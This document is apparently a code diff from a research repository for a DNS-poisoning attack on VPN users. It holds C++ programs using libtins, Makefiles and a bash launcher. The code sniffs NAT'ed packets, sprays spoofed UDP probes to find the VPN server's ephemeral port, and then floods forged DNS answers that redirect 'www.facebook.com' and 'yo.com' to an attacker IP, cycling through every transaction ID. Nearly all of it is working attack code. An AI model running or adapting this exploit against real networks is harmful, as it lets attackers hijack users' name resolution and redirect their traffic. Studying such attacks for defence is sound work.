||||||
|
|
||||||
|
// Used by sniffing thread to look for packets
|
||||||
|
// NAT'ed back to the client that we may have
|
||||||
|
// spoofed
|
||||||
|
//
|
||||||
|
bool handle_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
|
||||||
|
// should be looking for a packet from the VPN server and to the VPN client
|
||||||
|
//
|
||||||
|
// src ip will be the VPN server and dest ip will be the public address
|
||||||
|
// of the VPN client
|
||||||
|
|
||||||
|
|
||||||
|
if (ip.src_addr() == dest_ip && !injecting) { // dest_ip should be public VPN IP
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
|
||||||
|
//cout << "sniffed packet going from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
|
||||||
|
|
||||||
|
// 97 is the size of empty UDP packet NAT'ed back to the client so only look for packets that are bigger
|
||||||
|
//
|
||||||
|
if (payload >= 97 && payload != 147) { // could be a NAT'ed attacker packet
|
||||||
|
|
||||||
|
if (verbose) cout << "sniffed response from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
|
||||||
|
|
||||||
|
best_port = current_spoof_port;
|
||||||
|
sniff_size = payload - 97;
|
||||||
|
|
||||||
|
|
||||||
|
sniffed_resp = true;
|
||||||
|
if (count_resp) resp_count ++;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return is_running;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Start sniffing things on one of the
|
||||||
|
// attack router interfaces
|
||||||
|
//
|
||||||
|
void sniff_stuff() {
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
Sniffer sniffer("enp0s8", config);
|
||||||
|
sniffer.sniff_loop(handle_packet);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Sniff outgoing interface for packets we send
|
||||||
|
// to get a better approx of the last packet sent
|
||||||
|
//
|
||||||
|
void sniff_send_stuff() {
|
||||||
|
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
Sniffer sniffer("any", config);
|
||||||
|
sniffer.sniff_loop(handle_send_packet);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Generate random string of some length to send
|
||||||
|
// in attack probes
|
||||||
|
//
|
||||||
|
std::string random_string(std::size_t length) {
|
||||||
|
|
||||||
|
const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
|
|
||||||
|
std::random_device random_device;
|
||||||
|
std::mt19937 generator(random_device());
|
||||||
|
std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
|
||||||
|
|
||||||
|
string random_string;
|
||||||
|
|
||||||
|
for (std::size_t i = 0; i < length; ++i) {
|
||||||
|
random_string += CHARACTERS[distribution(generator)];
|
||||||
|
}
|
||||||
|
|
||||||
|
return random_string;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Spread udp packets across a given port
|
||||||
|
// range while increasing the size each time
|
||||||
|
//
|
||||||
|
int port_spread(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
|
||||||
|
UDP& udp = pkt.rfind_pdu<UDP>();
|
||||||
|
|
||||||
|
int current_port = best_port;
|
||||||
|
int spoof_port = start_port;
|
||||||
|
|
||||||
|
int send_size = 0;
|
||||||
|
int send_count = 0;
|
||||||
|
string send_payload = random_string(send_size);
|
||||||
|
|
||||||
|
cout << "spreading the port range from " << start_port << " to " << end_port << " with udps..\n";
|
||||||
|
|
||||||
|
while (spoof_port < end_port && !sniffed_resp) {
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
|
||||||
|
current_spoof_port = spoof_port;
|
||||||
|
//udp.dport(spoof_port); // set the packets dest port to current guess
|
||||||
|
|
||||||
|
int round_sends = 0;
|
||||||
|
while (round_sends < 4) { // send 4 at a time then sleep again
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
|
||||||
|
|
||||||
|
udp.dport(spoof_port);
|
||||||
|
current_spoof_port = spoof_port;
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
spoof_port++;
|
||||||
|
send_size ++;
|
||||||
|
round_sends ++;
|
||||||
|
send_payload = random_string(send_size);
|
||||||
|
|
||||||
|
if (send_size >= 1000) { // reset probe size back to 0 on every 1000th port
|
||||||
|
send_size = 0;
|
||||||
|
if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
// if the payload size reaches 1000 (max), reset back to 0
|
||||||
|
if (send_size >= 1000) {
|
||||||
|
send_size = 0;
|
||||||
|
if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(25); // scan send delay *** working w 30 before
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!sniffed_resp) usleep(1000000 / 3); // wait a third of a second just in case it was at the very top of the port range (i.e. ~61k)
|
||||||
|
|
||||||
|
current_port = best_port;
|
||||||
|
if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
|
||||||
|
if (verbose) cout << "size of round 1 response: " << sniff_size << "\n";
|
||||||
|
|
||||||
|
if (!sniffed_resp) current_port = 0;
|
||||||
|
|
||||||
|
return current_port;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Send to the range of approximate ports
|
||||||
|
// again with different sizes to find the exact
|
||||||
|
// one in use
|
||||||
|
//
|
||||||
|
int find_exact_port(int block_port, int last_port, int last_size, string source_ip, int sport, string dest_ip) {
|
||||||
|
|
||||||
|
// Using the size of the first round response we know we're within
|
||||||
|
// about 16 ports of the exact one in use but because of the delay it
|
||||||
|
// could be in one of a few different 1k blocks
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
|
||||||
|
int block_start = block_port - 10000 + last_size; // start 10 thousand blocks back plus the sniff size
|
||||||
|
int spoof_port = block_start - 3;
|
||||||
|
int max_port = spoof_port + 16; // only check 16 ports in each thousand block
|
||||||
|
|
||||||
|
int send_size = 0;
|
||||||
|
int current_port = 0;
|
||||||
|
string send_payload = random_string(0);
|
||||||
|
sniffed_resp = false;
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
|
||||||
|
UDP& udp = pkt.rfind_pdu<UDP>();
|
||||||
|
|
||||||
|
while (!sniffed_resp && spoof_port < (block_port + 1000)) {
|
||||||
|
|
||||||
|
send_payload = random_string(send_size);
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
|
||||||
|
current_spoof_port = spoof_port;
|
||||||
|
udp.dport(spoof_port); // set the packets dest port to current guess
|
||||||
|
|
||||||
|
if (verbose) cout << "sending to port: " << (spoof_port) << " w size: " << send_size << "\n";
|
||||||
|
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
spoof_port++;
|
||||||
|
send_size += 5;
|
||||||
|
|
||||||
|
if (spoof_port > max_port) {
|
||||||
|
spoof_port += (1000 - 17); // jump to the next thousand block
|
||||||
|
max_port = spoof_port + 16;
|
||||||
|
}
|
||||||
|
usleep(2000);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (!sniffed_resp) {
|
||||||
|
usleep(500000);
|
||||||
|
if (verbose) cout << "waiting for round 2 resp..\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
current_port = best_port;
|
||||||
|
if (verbose) cout << "size of round 2 response: " << sniff_size << "\n";
|
||||||
|
|
||||||
|
|
||||||
|
if (verbose) print_divider(2);
|
||||||
|
bool found = false;
|
||||||
|
|
||||||
|
// Go over the exact same loop as round 2 without sending
|
||||||
|
// until we find the port that would have triggered the size
|
||||||
|
// that was sniffed
|
||||||
|
|
||||||
|
spoof_port = block_start - 3;
|
||||||
|
max_port = spoof_port + 16;
|
||||||
|
send_size = 0;
|
||||||
|
|
||||||
|
while (!found && spoof_port < (block_port + 1000)) {
|
||||||
|
|
||||||
|
if (send_size > sniff_size) {
|
||||||
|
// we just passed the port that matched the connection
|
||||||
|
if (verbose) cout << "port on size match: " << spoof_port << "\n";
|
||||||
|
current_port = spoof_port;
|
||||||
|
found = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
spoof_port++;
|
||||||
|
send_size += 5;
|
||||||
|
|
||||||
|
if (spoof_port > max_port) {
|
||||||
|
spoof_port += (1000 - 17);
|
||||||
|
max_port = spoof_port + 16;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Do one final scan within +-3 ports of approx to make sure
|
||||||
|
// we have the exact port in use
|
||||||
|
|
||||||
|
int start_port = current_port - 3;
|
||||||
|
spoof_port = start_port;
|
||||||
|
max_port = spoof_port + 6;
|
||||||
|
send_size = 0;
|
||||||
|
sniffed_resp = false;
|
||||||
|
|
||||||
|
while (!sniffed_resp && spoof_port < max_port) {
|
||||||
|
|
||||||
|
send_payload = random_string(send_size);
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
|
||||||
|
current_spoof_port = spoof_port;
|
||||||
|
udp.dport(spoof_port); // set the packets dest port to current guess
|
||||||
|
|
||||||
|
if (verbose) cout << "sending final round spoof to port: " << (spoof_port) << " w size: " << send_size << "\n";
|
||||||
|
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
spoof_port += 1;
|
||||||
|
send_size += 240;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
while (!sniffed_resp) {
|
||||||
|
usleep(500000);
|
||||||
|
if (verbose) cout << "waiting for final exact scan resp..\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
current_port = best_port;
|
||||||
|
if (verbose) cout << "size of final exact response: " << sniff_size << "\n";
|
||||||
|
|
||||||
|
int exact = start_port + (sniff_size / 240);
|
||||||
|
//cout << "FINAL EXACT PORT: " << exact << "\n\n";
|
||||||
|
|
||||||
|
return exact;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Spread udp packets across a port range to find the estimated
|
||||||
|
// port in use that forwards packet back to the client, then repeat the
|
||||||
|
// scan in the estimated range to find the exact one in use
|
||||||
|
//
|
||||||
|
int scan_for_port(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
int i;
|
||||||
|
|
||||||
|
// Find the estimated port
|
||||||
|
scanning = true;
|
||||||
|
int current_port = port_spread(source_ip, sport, dest_ip, start_port, end_port);
|
||||||
|
scanning = false;
|
||||||
|
|
||||||
|
if (current_port == 0) return 0;
|
||||||
|
|
||||||
|
int j = 0;
|
||||||
|
int exact_port = 0;
|
||||||
|
|
||||||
|
if (verbose) print_divider(2);
|
||||||
|
sniffed_resp = false;
|
||||||
|
cout << "estimated port: " << current_port << " w sniff size: " << sniff_size << "\n";
|
||||||
|
|
||||||
|
int last_port = current_port;
|
||||||
|
int block_port = last_port;
|
||||||
|
|
||||||
|
while (block_port % 1000 != 0) {
|
||||||
|
block_port --;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (verbose) cout << "highest port block: " << block_port << "\n";
|
||||||
|
|
||||||
|
// Find the exact port in use
|
||||||
|
int exact = find_exact_port(block_port, last_port, sniff_size, source_ip, sport, dest_ip);
|
||||||
|
if (verbose) cout << "some exact port? " << exact << "\n";
|
||||||
|
exact_port = exact;
|
||||||
|
|
||||||
|
return exact_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Not used now but could be added to recheck X times that a
|
||||||
|
// port is truly in use and forwarding packets back to the client
|
||||||
|
//
|
||||||
|
int recheck_port(int num_checks, int approx_port, string source_ip, int sport, string dest_ip) {
|
||||||
|
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport); /// RawPDU("long message here actually a whole lot longer than the other one");
|
||||||
|
UDP& udp = pkt.rfind_pdu<UDP>();
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
int curr_port = approx_port - 1;
|
||||||
|
|
||||||
|
while (!is_found){
|
||||||
|
|
||||||
|
cout << "rechecking port: " << curr_port << "\n";
|
||||||
|
|
||||||
|
udp.dport(curr_port); // set the packets dest port to current guess
|
||||||
|
|
||||||
|
for (int i = 0; i < num_checks; i ++) {
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
usleep(1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (resp_count == num_checks) {
|
||||||
|
is_found = true;
|
||||||
|
} else {
|
||||||
|
curr_port ++;;
|
||||||
|
usleep(300000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int final_port = best_port;
|
||||||
|
int other_final = curr_port - 1;
|
||||||
|
cout << "maybe better final approx? " << other_final << "\n";
|
||||||
|
|
||||||
|
return final_port;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Attempt to inject the dns response to the given 4 tuple (src_ip, sport, dest_ip, dport)
|
||||||
|
// while cycling through all possible txIDs for the dns reply
|
||||||
|
//
|
||||||
|
int send_dns(string src_ip, int sport, string dest_ip, int dport) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s10");
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
|
||||||
|
|
||||||
|
cout << "Attempting to inject dns response on port " << dport << "\n\n";
|
||||||
|
|
||||||
|
string spoof_domain = "yo.com";
|
||||||
|
string redirect_ip = "22.22.22.22";
|
||||||
|
injecting = true;
|
||||||
|
|
||||||
|
// Add the fake response
|
||||||
|
pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
|
||||||
|
pkt.rfind_pdu<DNS>().add_answer(
|
||||||
|
DNS::resource(
|
||||||
|
spoof_domain,
|
||||||
|
redirect_ip, // some bad guy IP we wanna redirect to
|
||||||
|
DNS::A,
|
||||||
|
1, // class of the record??
|
||||||
|
// 777 is just a random TTL
|
||||||
|
777
|
||||||
|
)
|
||||||
|
);
|
||||||
|
// We want the query to be resolverd recursively
|
||||||
|
pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
|
||||||
|
pkt.rfind_pdu<DNS>().recursion_desired(1);
|
||||||
|
pkt.rfind_pdu<DNS>().recursion_available(1);
|
||||||
|
|
||||||
|
|
||||||
|
int round_sends = 0;
|
||||||
|
int id = 1;
|
||||||
|
int num_blocks = 6;
|
||||||
|
int block_size = int(65535 / num_blocks); // 65535 is max transaction id for dns
|
||||||
|
|
||||||
|
|
||||||
|
while (id < block_size) { // try every txId in the block
|
||||||
|
|
||||||
|
int send_id = id;
|
||||||
|
|
||||||
|
while (round_sends < num_blocks) { // send once to each block
|
||||||
|
pkt.rfind_pdu<DNS>().id(send_id); // set the transaction id guess
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
send_id += block_size;
|
||||||
|
round_sends ++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (id % 1000 == 0) cout << "sending dns response w id: " << id << "\n";
|
||||||
|
id ++;
|
||||||
|
round_sends = 0;
|
||||||
|
|
||||||
|
usleep(100); // was working 100% w 250
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int find_ports(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
int current_port = 0;
|
||||||
|
|
||||||
|
int last_port = start_port;
|
||||||
|
|
||||||
|
while (!is_found) {
|
||||||
|
|
||||||
|
sniffed_resp = false;
|
||||||
|
print_time();
|
||||||
|
|
||||||
|
int exact_port = scan_for_port(source_ip, sport, dest_ip, last_port, end_port);
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
if (exact_port == 0) is_found = true;
|
||||||
|
else {
|
||||||
|
cout << "found some exact port: " << exact_port << "\n\n";
|
||||||
|
print_time();
|
||||||
|
|
||||||
|
send_dns(source_ip, sport, dest_ip, exact_port);
|
||||||
|
usleep(1000000);
|
||||||
|
injecting = false;
|
||||||
|
}
|
||||||
|
resp_count = 0;
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
|
||||||
|
int next_port = exact_port + 2;
|
||||||
|
|
||||||
|
while (next_port % 1000 != 0) {
|
||||||
|
next_port ++;
|
||||||
|
}
|
||||||
|
|
||||||
|
last_port = next_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
if (argc != 6) {
|
||||||
|
cout << "sike wrong number of args ---> (source_ip, sport, dest_ip, start_port, end_port)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
source_ip = argv[1]; // dns server IP
|
||||||
|
int sport = atoi(argv[2]); // most likely 53
|
||||||
|
dest_ip = argv[3]; // vpn server IP
|
||||||
|
verbose = true;
|
||||||
|
|
||||||
|
int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
|
||||||
|
int end_port = atoi(argv[5]);
|
||||||
|
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
thread sniff_thread(sniff_stuff);
|
||||||
|
thread send_sniff_thread(sniff_send_stuff);
|
||||||
|
|
||||||
|
int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
|
||||||
|
|
||||||
|
//sniff_thread.join();
|
||||||
|
//send_sniff_thread.join();
|
||||||
|
|
||||||
|
sniff_thread.detach();
|
||||||
|
send_sniff_thread.detach();
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11
|
23545
server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
Normal file
23545
server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
Normal file
File diff suppressed because it is too large
Load Diff
26
server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
Normal file
26
server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
#/bin/bash
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
START_PORT=42000
|
||||||
|
END_PORT=62000
|
||||||
|
|
||||||
|
|
||||||
|
SRC_IP=10.8.0.10
|
||||||
|
#SRC_IP=$(ifconfig | grep inet | grep -w 10.8 | awk -F' ' '{print $2}' | awk -F':' '{print $2}')
|
||||||
|
NOW=$(date '+%F %T')
|
||||||
|
echo "Starting port fill at $NOW"
|
||||||
|
|
||||||
|
echo "Using tun src ip: $SRC_IP"
|
||||||
|
echo "Filling up vpn port range from $START_PORT to $END_PORT.."
|
||||||
|
|
||||||
|
sudo ./uud_send 192.168.3.2 53 $SRC_IP $START_PORT $END_PORT
|
||||||
|
|
||||||
|
#sleep 1
|
||||||
|
|
||||||
|
#echo "Responding to all my own client probes to make sure they're kept in the table"
|
||||||
|
|
||||||
|
#sudo ./uud_send 192.168.3.2 54 192.168.2.2 $START_PORT $END_PORT 1
|
||||||
|
|
||||||
|
NOW1=$(date '+%F %T')
|
||||||
|
echo "Finished port fill at $NOW1"
|
165
server-side-attack/dns-sside/phases/udder_fillup/send.cpp
Normal file
165
server-side-attack/dns-sside/phases/udder_fillup/send.cpp
Normal file
@ -0,0 +1,165 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::string;
|
||||||
|
using std::vector;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
|
||||||
|
bool is_running = true;
|
||||||
|
bool verbose = false;
|
||||||
|
bool count_resp = false;
|
||||||
|
|
||||||
|
string dest_ip;
|
||||||
|
string server_ip;
|
||||||
|
|
||||||
|
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
std::string random_string(std::size_t length) {
|
||||||
|
|
||||||
|
const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
|
|
||||||
|
std::random_device random_device;
|
||||||
|
std::mt19937 generator(random_device());
|
||||||
|
std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
|
||||||
|
|
||||||
|
string random_string;
|
||||||
|
|
||||||
|
for (std::size_t i = 0; i < length; ++i) {
|
||||||
|
random_string += CHARACTERS[distribution(generator)];
|
||||||
|
}
|
||||||
|
|
||||||
|
return random_string;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Spreads UDPs across the victim's entire port range
|
||||||
|
// to find a port that is being used and the spoofed packets
|
||||||
|
// get NAT'ed back to the client
|
||||||
|
//
|
||||||
|
int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
int i;
|
||||||
|
IP pkt;
|
||||||
|
|
||||||
|
if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port);
|
||||||
|
else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port);
|
||||||
|
|
||||||
|
UDP& udp = pkt.rfind_pdu<UDP>();
|
||||||
|
int spoof_port = start_port;
|
||||||
|
|
||||||
|
int send_size = 0;
|
||||||
|
int send_count = 0;
|
||||||
|
string send_payload = random_string(send_size);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n";
|
||||||
|
|
||||||
|
|
||||||
|
while (spoof_port < end_port) {
|
||||||
|
|
||||||
|
if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
|
||||||
|
else udp.sport(spoof_port);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
spoof_port++;
|
||||||
|
send_size ++;
|
||||||
|
send_payload = random_string(send_size);
|
||||||
|
//cout << "next rando string: " << send_payload << "\n";
|
||||||
|
|
||||||
|
// if the payload size reaches 1000 (max), reset back to 0
|
||||||
|
if (send_size >= 1000) {
|
||||||
|
send_size = 0;
|
||||||
|
cout << "Sent w size 1000 to " << spoof_port << "\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (verbose) print_divider(2);
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
bool filling = true;
|
||||||
|
int current_port = 0;
|
||||||
|
|
||||||
|
while (filling) {
|
||||||
|
|
||||||
|
current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port);
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
|
||||||
|
|
||||||
|
count_resp = true;
|
||||||
|
filling = false;
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return current_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
cout << "arc twas: " << argc;
|
||||||
|
|
||||||
|
if (argc != 6 && argc != 7) {
|
||||||
|
cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
server_ip = argv[1]; // dns server IP
|
||||||
|
int server_port = atoi(argv[2]);
|
||||||
|
dest_ip = argv[3]; // vpn server IP
|
||||||
|
int start_port = atoi(argv[4]);
|
||||||
|
int end_port = atoi(argv[5]);
|
||||||
|
bool server_spread = false;
|
||||||
|
|
||||||
|
if (argc == 7) server_spread = true;
|
||||||
|
|
||||||
|
verbose = true;
|
||||||
|
|
||||||
|
string dest_mac = "";
|
||||||
|
string src_mac = "";
|
||||||
|
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
|
||||||
|
int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port);
|
||||||
|
|
||||||
|
cout << p << "\n";
|
||||||
|
print_divider(1);
|
||||||
|
is_running = false;
|
||||||
|
|
||||||
|
if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n";
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
BIN
server-side-attack/dns-sside/phases/udder_fillup/uud_send
Normal file
BIN
server-side-attack/dns-sside/phases/udder_fillup/uud_send
Normal file
Binary file not shown.
2
server-side-attack/dns-sside/phases/udder_test/Makefile
Normal file
2
server-side-attack/dns-sside/phases/udder_test/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11
|
119
server-side-attack/dns-sside/phases/udder_test/send.cpp
Normal file
119
server-side-attack/dns-sside/phases/udder_test/send.cpp
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::string;
|
||||||
|
using std::vector;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
|
||||||
|
int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
|
||||||
|
bool is_running = true;
|
||||||
|
bool verbose = false;
|
||||||
|
bool count_resp = false;
|
||||||
|
|
||||||
|
bool sniffed_resp = false;
|
||||||
|
string dest_ip;
|
||||||
|
string source_ip;
|
||||||
|
|
||||||
|
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// coming from a specific remote_ip:port
|
||||||
|
//
|
||||||
|
int send_dns(string src_ip, int sport, string dest_ip, int dport) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s10");
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
|
||||||
|
|
||||||
|
string spoof_domain = "www.facebook.com";
|
||||||
|
string redirect_ip = "192.168.2.2";
|
||||||
|
|
||||||
|
// Add the fake response
|
||||||
|
pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
|
||||||
|
pkt.rfind_pdu<DNS>().add_answer(
|
||||||
|
DNS::resource(
|
||||||
|
spoof_domain,
|
||||||
|
redirect_ip, // some bad guy IP we wanna redirect to
|
||||||
|
DNS::A,
|
||||||
|
1, // class of the record??
|
||||||
|
// 777 is just a random TTL
|
||||||
|
777
|
||||||
|
)
|
||||||
|
);
|
||||||
|
// We want the query to be resolverd recursively
|
||||||
|
//pkt.rfind_pdu<DNS>().id(tx_id);
|
||||||
|
pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
|
||||||
|
pkt.rfind_pdu<DNS>().recursion_desired(1);
|
||||||
|
pkt.rfind_pdu<DNS>().recursion_available(1);
|
||||||
|
|
||||||
|
|
||||||
|
int id = 1;
|
||||||
|
int max_id = 65000; // probably 65k or 16 bits
|
||||||
|
|
||||||
|
int block_size = 65000 / 4;
|
||||||
|
|
||||||
|
while (id < block_size) {
|
||||||
|
|
||||||
|
int c = 0;
|
||||||
|
int send_id = id;
|
||||||
|
while (c < 4) {
|
||||||
|
pkt.rfind_pdu<DNS>().id(send_id);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
send_id += block_size;
|
||||||
|
c ++;
|
||||||
|
}
|
||||||
|
//pkt.rfind_pdu<DNS>().id(id);
|
||||||
|
//sender.send(pkt, iface);
|
||||||
|
|
||||||
|
if (id % 1000 == 0) cout << "sending w id: " << id << "\n";
|
||||||
|
id ++;
|
||||||
|
usleep(250);
|
||||||
|
}
|
||||||
|
|
||||||
|
//sender.send(pkt, iface);
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
